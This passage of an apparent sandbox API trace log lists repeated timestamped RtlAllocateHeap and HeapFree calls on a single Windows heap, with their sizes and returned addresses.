Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd2ef0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3138 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3380 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd35c8 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3810 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3a58 [0074.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3ca0 [0074.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd5a70 [0074.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd5398 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd4cc0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd5828 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd3f10 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd4830 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd4158 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd4a78 [0074.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25c) returned 0x2cd5ef0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd55e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd6158 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd6400 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd43a0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd66a8 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd6950 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd45e8 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd4f08 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd6bf8 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 